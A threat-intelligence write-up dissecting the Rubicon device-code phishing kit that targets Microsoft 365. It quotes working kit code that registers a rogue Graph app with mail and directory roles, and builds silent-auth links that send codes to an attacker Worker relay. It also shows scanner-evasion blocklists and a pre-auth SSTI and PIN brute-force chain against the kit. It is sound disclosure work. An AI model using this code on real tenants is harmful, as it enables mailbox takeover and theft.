# Rubicon: PhaaS

# Rubicon — inside a device-code phishing kit

*How we found Rubicon, what the panel does, Org Takeover / PRT / tunnels / Keyword Listener, the PIN + SSTI chain, IOCs.*

## How it started

While browsing Shodan I came across a web server with a unique favicon. I searched that favicon and found something very interesting — all of the servers hosting Rubicon were by the same VPS provider.

I was intrigued, so I visited one of the servers, and I was greeted by an authentication page prompting for a 6-digit PIN.

Another one had no authentication at all. The full operator dashboard was sitting open on the public internet. From that open panel we could see the captures, the data, and the source. Looking at the source made it clear the other panels were meant to be gated by that PIN… and also that the PIN check has no rate limiting, and that a Jinja template sink in the page editor is reachable without authenticating. That's how we pieced the chain together.

Across the panels we watched, at least ~100 organisations had been successfully phished. Within those, multiple users per org were compromised. Seperately, Org Takeover had been run against at least two large organisations. In one of them the panel's Login All button read `Login All (15323)` — 15,323 users enumerated and queued for client-credentials login. More on that below. No org names in this post.

| Value | Label | Detail |
| --- | --- | --- |
| 14 | panels found (only on Shodan) | same VPS provider |
| ~100 | orgs phished | across panels watched |
| 1,500+ | mailboxes | compromised in different orgs |
| 15,323 | users | enumerated in one Org Takeover tenant |

One more thing before we get into it. As far as we can tell, nobody has written this kit up. Searching for both names turns up nothing — no vendor blog, no CERT advisory, no FBI PSA, no forum thread. The technique has been covered to death by now. Microsoft on [EvilTokens](https://www.microsoft.com/en-us/security/blog/2026/09/22/unmasking-eviltokens-getting-to-the-root-of-device-code-phishing/), Huntress on [Kali365](https://www.huntress.com/blog/kali365-device-code-phishing-kit), LevelBlue on [Wazza](https://www.levelblue.com/blogs/spiderlabs-blog/inside-wazza-a-newly-observed-device-code-phishing-kit-targeting-microsoft-365-accounts), Huntress again on [Knight Office](https://www.huntress.com/blog/inside-knight-office-m365-aitm-attack), and Cisco Talos on [ARToken](https://blog.talosintelligence.com/artoken-inside-an-eviltokens-affiliate-panel-targeting-microsoft-365/) — an EvilTokens affiliate panel with PRT persistence, keyword monitoring and Cloudflare Worker deployment, which is the closest thing to this kit anyone has published.

None of them are Rubicon. The device-code flow is well understood; this panel isn't. So treat what follows as a first look, and the code details are the parts worth keeping.

## What Rubicon is / how it works

Rubicon is a phishing-as-a-service (PhaaS) kit aimed at Microsoft 365. It abuses OAuth 2.0 device-code flow — the same flow Microsoft built for TVs and CLI tools that can't show a browser.

Short version of the victim path:

1. A lure page (fake shared doc, Adobe, DocuSign, Teams voicemail — so many options) shows a short verification code and a Continue button.
2. If the victim clicks`continue` it drops the victim on the real <https://login.microsoftonline.com/common/oauth2/deviceauth> page via a `onpop()` method.
3. They paste the code, sign in, do their MFA (multi-factor authentication). The attacker never sees a password.
4. Microsoft asks them to approve signing in to Microsoft Authentication Broker "on another device". That other device is the Rubicon server, already polling for the tokens.
5. Tokens land in the panel. Telegram fires. If Cookie Mode is on (it is by default), the kit starts building a Primary Refresh Token (PRT) and can later register a rogue app in the victim tenant.

MFA succeeds. That's the problem. The victim did everything right, on the real Microsoft origin.

> **Key idea:** The attacker never signs in. The victim authenticates on the real Microsoft page, finishes MFA, and the tokens go to a device they've never seen — the kit's poller.

## The PIN gate and why it matters

Most Rubicon panels greet you with a 6-digit PIN page titled "Rubicon — Sign in". Six digits means a million possibilities. Looking at the source, the check is just: is it six digits, does the hash match? Wrong PIN → "Incorrect PIN" → try again. There is no attempt counter, no lockout, no rate limit, etc.

```python
# routes/pin_auth.py — PIN login (no rate limit / lockout)
@pin_auth_bp.route("/pin", methods=["GET", "POST"])
def pin_login():
    …
    if request.method == "POST":
        pin = (request.form.get("pin") or "").strip()
        if not pin or len(pin) != 6 or not pin.isdigit():
            error = "PIN must be 6 digits"
        elif verify_pin(pin, cfg.get("pin_hash", "")):
            session["pin_ok"] = True
            …
            return redirect("/")
        else:
            error = "Incorrect PIN"
    return render_template_string(PIN_LOGIN_HTML, error=error)
```

With no throttling, a 6-digit PIN is trivial to brute-force. We have a short PoC demo of the missing lockout.

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/4da74754-9c74-43fe-bd58-d5284f1af39f.webp align="center")

There's a second hole next to the PIN. The panel's auth middleware keeps a public-prefix list so victim lure paths don't ask for a PIN. That list includes `/landing-pages/` — and the page create/update *API* lives under that same prefix.

- `/landing-pages/overview` - Returns required fields for posting a update.
- `/landing-pages/<id>/update` - Update the existing Phishlet template.
- `/landing-pages/campaigns` - Return the campaign URLs.

The dashboard UI still sits behind the PIN (it's served from `/`), but the write API itself never checks a session. Hold that thought; it becomes the second pre-auth RCE path in the SSTI section.

```python
# run.py — check_auth public prefixes 
_PUBLIC_PREFIXES = (
    '/static/', '/auth/blocked', '/auth/pin', '/auth/ms/relay', '/rq',
    '/tracking/', '/lp/', '/landing-pages/', '/php-templates/',
    '/microsoft/device-code/', '/microsoft/oauth/', '/mx/', '/o/',
    '/benign'
)
# run.py 
public = [
    '/rq', '/landing-pages/captcha-gate', '/landing-pages/test/',
    '/static/', '/auth/', '/microsoft/device-code/', '/socket.io/', '/mx/', '/o/'
]
if any(path.startswith(p) for p in public):
    return None

if path.startswith('/landing-pages/') and '/preview' in path:
    return None
```

## The blocklist with our names on it

The kit ships a file dedicated to keeping unwanted visitors out. `routes/ip_guard.py` holds two lists: user-agent patterns and IP prefixes. Some of the names will be familiar.

```python
# routes/ip_guard.py — BOT_UA_PATTERNS (excerpt)
BOT_UA_PATTERNS = [
    r'bot', r'crawl', r'spider', r'scrape', r'scan',
    r'curl', r'wget', r'python-requests', r'httpx', r'aiohttp',
    r'go-http', r'java/', r'libwww', r'lwp-', r'mechanize',
    r'phantomjs', r'headless', r'puppeteer', r'playwright',
    r'selenium', r'webdriver', r'chrome-lighthouse',
    r'pingdom', r'uptimerobot', r'statuspage',
    r'nmap', r'nikto', r'sqlmap', r'masscan', r'zgrab',
    r'shodan', r'censys', r'internetmeasur',
    r'facebookexternalhit', r'twitterbot', r'slackbot',
    r'telegrambot', r'discordbot', r'whatsapp',
    r'googlebot', r'bingbot', r'yandex', r'baidu',
    r'semrush', r'ahrefs', r'mj12bot', r'dotbot',
    r'virustotal', r'urlscan', r'safebrowsing',
]

# routes/ip_guard.py — BAD_IP_PREFIXES (excerpt, their comments)
BAD_IP_PREFIXES = [
    '64.225.',    # DigitalOcean scanners
    '167.248.',   # Censys
    '162.142.',   # Censys
    '167.94.',    # Censys
    '71.6.', '80.82.77.', '93.174.95.',  # Shodan
    '185.180.143.',  # Binary Edge
    '198.235.24.',   # internet-measurement
]
```

The IP list names the same crowd. The author labels prefixes as Censys, Shodan, BinaryEdge and internet-measurement, with another marked “DigitalOcean scanners”. Those labels alone don’t verify who uses the ranges, but they make clear who the kit is trying to keep out.

The user-agent check is blunt:

```python
def is_bot_ua():
    ua = request.headers.get('User-Agent', '')
    if not ua or len(ua) < 10:
        return True  # No UA or too short = suspicious
    return bool(BOT_UA_RE.search(ua))
```

An absent user agent gets blocked. So does anything under ten characters. Everything else goes through the pattern list.

This isn’t identifying who is visiting. It is matching what the announces about itself.

The file also contains a more elaborate header check:

```python
def has_suspicious_headers():
    headers = request.headers
    # No Accept-Language = likely bot
    if not headers.get('Accept-Language'):
        return True
    # Sec-Fetch headers present but wrong (headless browsers)
    sec_dest = headers.get('Sec-Fetch-Dest', '')
    if sec_dest and sec_dest not in ('document', 'iframe', 'empty'):
        return True
    # X-Forwarded-For with too many hops = scanner
    xff = headers.get('X-Forwarded-For', '')
    if xff.count(',') > 5:
        return True
    return False
```

The decorator isn't applied to a single route. Not one. It's defined, it imports cleanly, and nothing calls it.

What actually runs is the short version inline in `check_auth` — blacklist, bad IP prefix, bot user agent, and nothing else:

```python
# run.py — check_auth, step 3
from routes.ip_guard import is_blacklisted, is_whitelisted as _ip_wl, is_bot_ua as _is_bot, is_bad_ip_prefix as _is_bad_prefix
if is_blacklisted(_client_ip) or _is_bad_prefix(_client_ip) or _is_bot():
    return _make_blocked_html(_client_ip), 403
```

Blacklist, IP prefix, user agent. Any match produces a 403.

The file’s elaborate blocking behaviour—a 50/50 choice between a redirect to `account.microsoft.com` and a fake 503 page with a random `SRV-XXXXXXXX` reference—isn’t what this branch calls. Instead, it returns an operator-facing message:

```html
<h1>Access Denied</h1>
<p class="sub">Your IP is not on the whitelist.<br>Add it in Settings &rarr; Access Control.</p>
<div class="ip-box"><div class="ip-label">Your IP</div>
<div class="ip-val">' + (ip or 'unknown') + '</div></div>
<div class="code">403 &nbsp;&bull;&nbsp; Forbidden</div>
```

It echoes the visitor's IP back at them, in gold, on a black card. That's not a defence that's trying to hide — it's an operator who assumed the only people who'd see it were the ones they'd already added to the allowlist.

And the reputation check is still in the file too, fully written, calling `ip-api.com` for the `proxy` and `hosting` flags — but commented out, with a note:

```python
# IP reputation check (VPN/proxy/hosting) — DISABLED
# Too aggressive: blocks legitimate users on VPNs and corporate networks.
```

"Blocks legitimate users on VPNs and corporate networks." Their victims, in other words. They built a filter that caught their own customers and switched it off.

So the guard is real, the bot list is real, and the wiring is half-finished. That's the pattern with this kit — every security feature is written and half-connected, the same as the PIN having no lockout.

When it does run, the effect is that the PIN gate is the second thing a visitor meets. The first is a check for whether you're the sort of person who would look at a PIN gate and start guessing. That's a lot of effort aimed squarely at us, and it's the clearest thing in the source about who they think their opposition is.

## Dashboard & the full feature list

Once you're authenticated, Rubicon is a single-page operator console. Four sidebar groups, fifteen tabs, footer counters for Pages / Captures / Live, and a theme picker (Black / White / Gold / Shark).

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/4aafd6c0-b516-4c0a-982f-b749f888e6d0.webp align="center")

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/74ecf747-c5a0-4be6-8650-4801cca50952.png align="center")

| Group | Tabs |
| --- | --- |
| Main | Overview · Intel |
| Infrastructure | Phishlets · Domains · Org Takeover |
| Operations | Inbox Sender · Payloads · Mailboxes · PRT Devices · Keyword Listener · Extractor / Sorter |
| System | Vault · Admin (owner-only) · Setup Guide · Settings |

- Overview — campaign cockpit. Captures, Domains/Live, Lures/Active pages, Mailboxes/Active. Quick Launch into New Lure / Deploy Domain / Send Email / Build Payload.
- Intel — traffic and bot-risk analytics for deployed lures. Geo, device, Humans/Bots/Blocked/Captures filters, CSV export.
- Phishlets — the lure factory (we come back to this with the SSTI find).
- Domains — Cloudflare control plane: Workers, zones, tunnels, live links, custom domains.
- Org Takeover — turn one privileged capture into tenant-wide mailbox access.
- Inbox Sender — send mail from stolen mailboxes with delay/jitter; extract address books; jobs queue.
- Payloads — encrypted/obfuscated HTML (or PHP) loader attachments that point at a live lure.
- Mailboxes — session inventory. Paste a token, or drive an OAuth app (Client ID / Secret / Tenant) from Org Takeover. Embedded Outlook-like viewer.
- PRT Devices — Primary Refresh Token / device persistence. Badge on the UI: `PASSWORD-PROOF Register virtual devices to Azure AD — PRT survives password changes, MFA resets & session revocations`

* Keyword Listener — hourly scan of every captured mailbox; Telegram + dashboard alerts on hits.
* Extractor / Sorter — bulk harvest of addresses across folders, then sort by provider.
* Vault — backup / restore / share of captures and mailboxes.
* Admin (owner-only) — license key minting for distributing the kit.
* Setup Guide — Telegram → tunnel → Cloudflare → lure → deploy → first capture.
* Settings — Telegram, lure defaults, egress proxy, IP allowlisting, PIN change, Danger Zone wipes.

A few pages live in the DOM but aren't on the sidebar — Captures, Direct Login (legacy), Stealth Links, Log Manager — plus older standalone shells whose features mostly moved into the Outlook mailbox viewer. Public victim paths (`/rq…`, `/mx/…`) sit outside the nav entirely.

Below we dig into the features that actually matter. Phishlets stay out of this section on purpose — they show up when we get to the SSTI discovery.

## Org Takeover

This is the feature that turns "we phished one admin" into "we own the tenant's mail".

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/15cd73bf-4f8b-43c4-baca-ad0db5127242.webp align="center")

Flow from the source:

1. **Pick a captured account** — UI dropdown over captures that already have usable tokens. Stats strip shows Tenant / Users / App Regs / Access.
2. **Enumerate the tenant** — Pulls org metadata, existing app registrations, and users via Microsoft Graph (the Microsoft Graph API — the API surface for mail, users, directory, etc. in Entra / M365). If the stored token lacks directory scopes it tries a FOCI (Family of Client IDs) scope-swap onto Azure PowerShell / Azure CLI first-party clients, which often already carry useful admin permissions in M365 tenants.
3. **Mint a rogue app registration** — Creates (or reuses) an application named `Rubicon-<domain>-<hex>` with application roles on Graph — Mail.Read, Mail.ReadWrite, Mail.Send, User.Read.All, Directory.Read.All, calendars, mailbox settings. Mints a client secret. Creates the service principal and tries to assign the app roles on Microsoft Graph. This is the step that decides whether Org Takeover works, because handing out Graph application permissions is a privileged operation: the captured identity has to be able to grant them. Global Administrator or Privileged Role Administrator can. Application Administrator and Cloud Application Administrator can't grant Graph application permissions on their own. Microsoft lists AppRoleAssignment.ReadWrite.All and Application.Read.All as the least-privileged delegated permission combination for that assignment call. The kit's error handling is honest about it — failed grants land in consent_errors and the takeover downgrades to a pile of 403s.
4. **Login All** — With client credentials working, the kit can mint a mailbox session for every user in the tenant — no per-user phishing, no passwords. The AI assistant's own system prompt literally describes this as "Auto-login all org mailboxes using client credentials". Those sessions drop into Mailboxes, and from there Inbox Sender / Keyword Listener / the Outlook viewer all light up.

```python
# routes/redirect_builder.py — _provision_app_for_domain()
app_name = f"Rubicon-{domain}-{__import__('uuid').uuid4().hex[:6]}"
app_body = {
    "displayName": app_name,
    "signInAudience": "AzureADMyOrg",
    "requiredResourceAccess": [{
        "resourceAppId": "00000003-0000-0000-c000-000000000000",  # Microsoft Graph
        "resourceAccess": [
            {"id": "810c84a8-4a9e-49e6-bf7d-12d183f40d01", "type": "Role"},  # Mail.Read
            {"id": "e2a3a72e-5f79-4c64-b1b1-878b674786c9", "type": "Role"},  # Mail.ReadWrite
            {"id": "df021288-bdef-4463-88db-98f22de89214", "type": "Role"},  # User.Read.All
            {"id": "b633e1c5-b582-4048-a93e-9f11b44c7e96", "type": "Role"},  # Mail.Send
            {"id": "798ee544-9d2d-430c-a058-570e29e34338", "type": "Role"},  # Calendars.Read
            {"id": "ef54d2bf-783f-4e0f-bca1-3210c4d8a87f", "type": "Role"},  # Calendars.ReadWrite
            {"id": "40f97065-369a-49f4-947c-6a255697ae91", "type": "Role"},  # MailboxSettings.ReadWrite
            {"id": "7ab1d382-f21e-4acd-a863-ba3e13f7da61", "type": "Role"},  # Directory.Read.All
        ],
    }],
}

r = _req.post("https://graph.microsoft.com/v1.0/applications", headers=headers, json=app_body, timeout=20)
app_data = r.json()
app_id = app_data.get("appId", "")
object_id = app_data.get("id", "")

# Mint a client secret
r2 = _req.post(
    f"https://graph.microsoft.com/v1.0/applications/{object_id}/addPassword",
    headers=headers,
    json={"passwordCredential": {"displayName": "Rubicon", "endDateTime": "2028-12-31T00:00:00Z"}},
    timeout=20,
)
secret_data = r2.json()
client_secret = secret_data.get("secretText", "")

# Service principal — create if missing (best-effort, also via AAD Graph fallback)
_req.post("https://graph.microsoft.com/v1.0/servicePrincipals",
          headers=headers, json={"appId": app_id}, timeout=15)

# Grant admin consent (appRoleAssignments to Microsoft Graph). Tracked —
# silent failure here is the difference between a working takeover and a
# bunch of mailboxes that 403 on every Graph call.
sp_r = _req.get(f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId eq '{app_id}'&$select=id",
                headers=headers, timeout=10)
sp_id = (sp_r.json().get("value", []) or [{}])[0].get("id", "")
graph_sp_r = _req.get(
    "https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId eq '00000003-0000-0000-c000-000000000000'&$select=id",
    headers=headers, timeout=10)
graph_sp_id = (graph_sp_r.json().get("value", []) or [{}])[0].get("id", "")

if sp_id and graph_sp_id:
    for role_id, role_name in [
        ("810c84a8-4a9e-49e6-bf7d-12d183f40d01", "Mail.Read"),
        ("e2a3a72e-5f79-4c64-b1b1-878b674786c9", "Mail.ReadWrite"),
        ("df021288-bdef-4463-88db-98f22de89214", "User.Read.All"),
        ("b633e1c5-b582-4048-a93e-9f11b44c7e96", "Mail.Send"),
        ("798ee544-9d2d-430c-a058-570e29e34338", "Calendars.Read"),
        ("ef54d2bf-783f-4e0f-bca1-3210c4d8a87f", "Calendars.ReadWrite"),
        ("40f97065-369a-49f4-947c-6a255697ae91", "MailboxSettings.ReadWrite"),
        ("7ab1d382-f21e-4acd-a863-ba3e13f7da61", "Directory.Read.All"),
    ]:
        try:
            # Grant the app role TO our app's SP (principalId=sp_id, resourceId=graph_sp_id)
            rr = _req.post(
                f"https://graph.microsoft.com/v1.0/servicePrincipals/{sp_id}/appRoleAssignments",
                headers=headers,
                json={"principalId": sp_id, "resourceId": graph_sp_id, "appRoleId": role_id},
                timeout=10,
            )
            if rr.status_code == 429:
                __import__('time').sleep(int(rr.headers.get("Retry-After", "20")))
                rr = _req.post(
                    f"https://graph.microsoft.com/v1.0/servicePrincipals/{sp_id}/appRoleAssignments",
                    headers=headers,
                    json={"principalId": sp_id, "resourceId": graph_sp_id, "appRoleId": role_id},
                    timeout=10,
                )
            if rr.status_code in (200, 201):
                granted_count += 1
            elif rr.status_code == 400 and "already" in (rr.text or "").lower():
                granted_count += 1
            else:
                consent_errors.append(f"{role_name}: {rr.text[:160]}")
        except Exception as e:
            consent_errors.append(f"{role_name}: {str(e)[:140]}")
        __import__('time').sleep(0.5)  # pace between role grants
```

One detail in that block is worth flagging rather than silently correcting, because it's the kit's own bug. Six of the eight app role GUIDs match Microsoft's published identifiers exactly. Two don't: `ef54d2bf-783f-4e0f-bca1-3210c4d8a87f`, commented Calendars.ReadWrite, is not a Graph identifier at all (the real application ID is `ef54d2bf-783f-4e0f-bca1-3210c0444d99`), and `40f97065-369a-49f4-947c-6a255697ae91`, commented MailboxSettings.ReadWrite, is actually MailboxSettings.Read — so the operator asks for read where the comment promises write. The first fails outright and the second under-delivers, which is a useful tell: a `Rubicon-*` app in a tenant holding Mail.Read, Mail.ReadWrite, Mail.Send, User.Read.All, Calendars.Read and Directory.Read.All, plus MailboxSettings.Read but no Calendars.ReadWrite, is a match. The code above is left exactly as it ships.

What the operator walks away with: an app-only client ID + secret that does not depend on the original user's password, MFA, or refresh token. Revoking the user's sessions is not enough. You have to find and remove the rogue app / service principal and its consents, unknown devices, etc.

Scale we actually saw: at least two large organisations where Org Takeover had been run. In one of them the Login All button showed `Login All (15323)` — 15,323 users enumerated in the tenant and queued for client-credentials login. No per-user phishing needed for any of them. Separately, across the panels we monitored, ~100 orgs were successfully phished, with multiple users per org. A row in the captures table only exists once the device-code flow completed and tokens were stored — these are real token compromises, not just lure opens.

## PRT / Cookie Mode

Cookie Mode (PRT capture) is checked by default when an operator creates a lure. That flips the device-code client to Microsoft Authentication Broker — the first-party client that can participate in device registration and Primary Refresh Token (PRT) issuance.

A PRT is a long-lived credential tied to a registered device. Rubicon's own UI is not subtle about why the operator wants one:

```plaintext
# templates/index.html — PRT Device Manager header
PRT Device Manager  [PASSWORD-PROOF]
Register virtual devices to Azure AD — PRT survives
password changes, MFA resets & session revocations
```

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/f34f21a6-85ba-4830-8843-8378b1aa7e1f.webp align="center")

From a Broker capture the panel parks a virtual device, then offers Get Cookies / Rotate PRT / Open Session — Log In as Target / Copy MSAL Snippet. There's also an automatic mail-scope swap, and it's quieter than a second phish: once the Broker capture lands, `microsoft.py` takes the refresh token it just stored and redeems it directly for mail scopes, then falls back to a silent PRT cookie scope swap if that's refused. No second code, no second prompt. The kit does carry a `_start_foci_followup()` function for a Microsoft Office device-code flow where the victim would have to enter a second code, but it isn't wired up anywhere in the source — the scope swap is what actually feeds the mailbox viewer.

Defender takeaway: Where rogue device registration is confirmed, disable the attacker-controlled devices and revoke the affected users sessions and refresh tokens — Microsoft's own device-code phishing guidance puts device cleanup alongside the token revocation. Disabling the device stops PRTs from working, and revoking refresh tokens stops the tokens issued off that PRT from working. A password reset and "revoke sessions" on their own leave the device registration intact.

## Tunnels, domains & Workers

Rubicon doesn't want the operator's origin IP on the lure. The Domains tab wraps three ways to get a public HTTPS front:

- Cloudflare Workers — self-contained worker deploy (including mailbox workers via routes/mailbox_deploy.py). Workers.dev URLs out of the box.
- Custom domains — on landing pages (lp-custom-domain field) and on Worker routes (custom_domain in the Cloudflare deploy paths). Bind your own hostname so the lure never looks like workers.dev.
- ngrok — built-in tunnel via the pyngrok library, which auto-downloads the ngrok binary. Setup Guide step 2 is literally 'Start Built-in Tunnel (ngrok)'.

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/6f0005eb-1f1c-4046-a43f-249412e754e0.png align="center")

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/0d6717f3-b14e-452e-9098-8c97983fe692.png align="center")

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/b16a6d28-2b2c-4ba6-8af9-4118c517fb54.png align="center")

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/022734d1-2664-4df0-b578-ba525392f7eb.png align="center")

Stealth Links (not on the main sidebar, but in the source) take this a step further. Given a prior capture + destination URL, the kit builds a real `login.microsoftonline.com/…/authorize` URL with `prompt=none` (silent — no consent UI if a session already exists), `login_hint` set to the victim's email, 38 decoy query params for noise, and `redirect_uri` pointed at a Cloudflare Worker relay that is hardcoded in the build:

```python
# routes/redirect_builder.py — Stealth Link relay (trimmed)
relay_url = "https://ms-relay.ijzyl589.workers.dev"  # hardcoded
real_params = {
    "client_id":     "0ad3dd79-18da-4640-be70-513b7a8abdf1",
    "response_type": "code",
    "redirect_uri":  relay_url,
    "scope":         "openid profile email offline_access",
    "prompt":        "none",
    "login_hint":    email,
    "state":         state_val,  # destination, base64url
}
```

That Worker hostname is a kit-wide IOC. Defanged: `ms-relay[.]ijzyl589[.]workers[.]dev`. It goes in the IOC table below, and it's on the Cloudflare disclosure list.

## Inbox Sender / Extractor

Once you have mailboxes, Inbox Sender is the post-compromise mailer. Send from a stolen mailbox with HTML or plain text, attachments, delay presets, and jitter (+30% / +50% / +100%). Extract address books (Inbox / Sent / Contacts / People API). Sort targets. Watch a jobs queue. Test All to verify every mailbox can still send.

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/a429f146-46d4-46ae-8daf-d8befb079797.png align="center")

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/203392d4-8af7-47c6-9e8d-d018d2b98bed.png align="center")

Combined with Org Takeover this is how one admin capture becomes an internal spear-phish blast that bypasses external gateway reputation. The mail comes from a trusted mailbox inside the tenant.

Extractor / Sorter is the heavier sibling — bulk harvest across folders, then sort dumps by provider. Same idea: build the next target list from what you already stole.

## Keyword Listener

This one's a favourite. Keyword Listener is a background scanner that walks every captured mailbox on an interval (default: every 60 minutes) via Graph, and matches subject / body / sender against a built-in list of over 120 keywords.

The defaults are basically a BEC (business email compromise) shopping list: payment, invoice, wire transfer, routing number, bank details, OTP, MFA, verification code, merger, acquisition, payroll, W-2, tax form, gift card, bitcoin, password reset, security alert, and a lot more — plus an intentional typo entry (`invocie`) because attackers know victims typo too. Operators can add their own.

Every hit fires a Telegram alert that names the matched keyword and includes the message, and the same hit shows up in the dashboard alert feed with the keyword called out. Per-keyword bell toggles let the operator mute noisy ones.

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/8c5f93f2-5671-46fe-8e56-9dc016b7a7d8.png align="center")

Defender takeaway: assume stolen-mail monitoring is near-real-time. If an invoice or wire thread is sitting in a compromised mailbox, Rubicon will surface it to the operator within the hour.

## Vault

Short one. Vault is the exfil / share desk for panel state.

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/834da490-e4a3-4844-9382-63d3661154b3.png align="center")

- Download Backup — whole panel state as a rubicon-vault-v2 package (JSON → gzip → base64).
- Restore Backup — import that package into another Rubicon instance (captures, mailboxes, shares).
- Download Mailbox — selective mailbox export packages.
- Share links — pick specific mailboxes, mint a share code the recipient can import.
- Send backup to Telegram — wired in the API even when the primary buttons emphasise file download.

Net effect: stolen access is portable. One panel's loot becomes another panel's inventory in a single restore.

## Phishlets & the SSTI find

Now the lure factory. Phishlets is where operators pick a branded template (67 public + 1 internal), optionally gate it with a fake captcha, leave Cookie Mode on, and mint a page that later gets a `/rq…` link. There's also a `custom_html` field for fully custom pages.

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/8d4bbb3b-63c5-4f61-8498-9986bb95aaad.png align="center")

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/05d4bc87-cbbb-49c5-ab9e-2a395edc5b17.webp align="center")

Here's the problem. When a lure with `custom_html` is served at `/rq…`, the panel does this:

```python
# run.py — public /rq{token} lure render
if page.get("custom_html"):
    from flask import render_template_string
    _custom_html = page["custom_html"]
    …
    return render_template_string(
        _custom_html, page=page, page_id=page["id"],
        target_email=…, sender_name=…, sender_email=…, client_ip=…
    )
```

`render_template_string` with operator-controlled template input, no sandbox, no deny-list, a basic server-side template injection (SSTI). Code runs as the panel process (the gunicorn worker).

That's one render sink. The other half is broken access control on the write path (covered above) — a second complete pre-auth RCE class: BAC → SSTI.

`check_auth` allowlists the entire `/landing-pages/` prefix and returns before any PIN or session check. Listing endpoints under that prefix (`overview`, `campaigns`, `links`) expose page ids and deployed Worker URLs. Create and update live there too, and the handlers never call `pin_is_authenticated` themselves:

```python
# routes/landing_pages.py — update accepts custom_html, no PIN/session check in-handler
@landing_pages_bp.route("/<page_id>/update", methods=["PUT", "POST"])
def update_page(page_id):
    data = request.get_json()
    pages = load_pages()
    page = next((p for p in pages if p["id"] == page_id), None)
    …
    if "custom_html" in data:
        page["custom_html"] = data["custom_html"]
    …
```

So: no PIN, no session cookie on that API. Preview of a page is a different story — `/landing-pages/<id>/preview` is wrapped in `@protect_page` (a JS challenge / bot gate), which is why a blind preview often comes back "Access denied". That does not undo the write. The Jinja render still runs when the lure is served on the public path (`/rq…` on the origin, or the randomised Cloudflare Worker hostname the operator deployed for that page).

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/7136d160-4a2d-4da6-9665-9d829f74ebe5.webp align="center")

![](https://cdn.hashnode.com/uploads/covers/60a084acb66a0b15ebfc8839/79b44a5d-5441-4a87-9a17-d34cb7c000d6.webp align="center")

## Two builds, drifting

We ended up with a second copy of this kit. Same panel — every page still says Rubicon, and fifty of the fifty-three lure templates are byte-identical — but the deployment side says `QXB` throughout. The systemd unit is `QXB Panel`, `WorkingDirectory=/opt/qxb`, logs to `/var/log/qxb/`, and the unit files ship in both flavours, `qxb.service` and `rubicon.service`.

The rename never finished, and `rubicon.service` shows it plainly: `Description=Rubicon Panel` at the top, then `WorkingDirectory=/opt/qxb`, `EnvironmentFile=/opt/qxb/.env` and `/var/log/qxb/access.log` underneath. The tell is also in `run.py`, which reads `QXB_SECRET_KEY` from the environment in **both** copies. The Rubicon tree's `.env` defines `Rubicon_SECRET_KEY`, so the value it sets is never the one the app looks for. It falls back to a key file in `data/`, or generates one.

The QXB copy has a client-credentials token cache, keyed on client ID plus tenant, so it stops minting the same Graph token fifty times when someone clicks through a mailbox list:

```python
# routes/app_access.py — QXB build
_cc_cache = {}  # { (client_id, tenant_id): (access_token, exp_ts) }

def _mint_cc_cached(client_id, client_secret, tenant_id):
    key = (client_id, tenant_id)
    cached = _cc_cache.get(key)
    if cached and cached[1] - time.time() > 120:
        return cached[0]
    ...
```

It also has a faster mailbox-status path that falls back to the capture store when there's no mailbox record, and returns a state object rather than a bare string. Neither of those is in the Rubicon copy.

But the Rubicon copy is the one with the IP Guard check wired into the auth gate, the `/benign` public prefix, and a forced PIN setup on first run. The QXB copy has no guard check in `check_auth` at all — only the whitelist — and still falls through to the legacy `is_authenticated()` login. In the copy we have, the guard's killswitch file literally reads `false`.

The exposed panel with no-auth was running `QXB`, and funnily enough, it had `admin` access with the ability to generate license keys. We believe this was the developer server. The operation had been running since June 2026, minimum based on logs. \`[`accounts-payable.depts@proton.me`](mailto:accounts-payable.depts@proton.me)\` was the email linked to the operators account.

## IOCs

Kit-wide only. Operator-box hostnames and IPs stay out. Domains defanged with `[.]`.

Kit-wide only. Operator-box hostnames and IPs stay out. Domains defanged with `[.]`.

| Indicator | Type | Context |
| --- | --- | --- |
| `ms-relay[.]ijzyl589[.]workers[.]dev` | Hostname | Hardcoded Cloudflare Worker relay (`redirect_builder.py` + `app.js`). Stealth-link `redirect_uri` and several silent-auth / base64 relay styles. |
| `ms-relay[.]ijzyl589[.]workers[.]dev/auth/ms/relay` | URL | Worker path mirroring the panel's `/auth/ms/relay` callback. |
| `29d9ed98-a469-4536-ade2-f981bc1d605e` | AppId | Microsoft Authentication Broker — first-party. Default Cookie Mode capture client. |
| `d3590ed6-52b3-4102-aeff-aad2292ab01c` | AppId | Microsoft Office — first-party FOCI client. Non-Cookie Mode capture, and the client the mail scope swap lands on. |
| `9199bf20-a13f-4107-85dc-02114787ef48` | AppId | Outlook for web (OWA) — genuine Microsoft first-party ID, introduced in MC711020 replacing the legacy OWA app ID. Used by the kit for device-code captures, mainly personal / consumers-tenant accounts. |
| `1950a258-227b-4e31-a9cf-4d8e1c2196a9` | AppId | Azure PowerShell string shipped in `azure_config.py`. Microsoft's Azure PowerShell ID is `1950a258-227b-4e31-a9cf-717495945fc2` — the final GUID segment differs. Its presence in the build is a source-code indicator; it does not establish that it names a registered application or that it authenticates. Ownership unverified. |
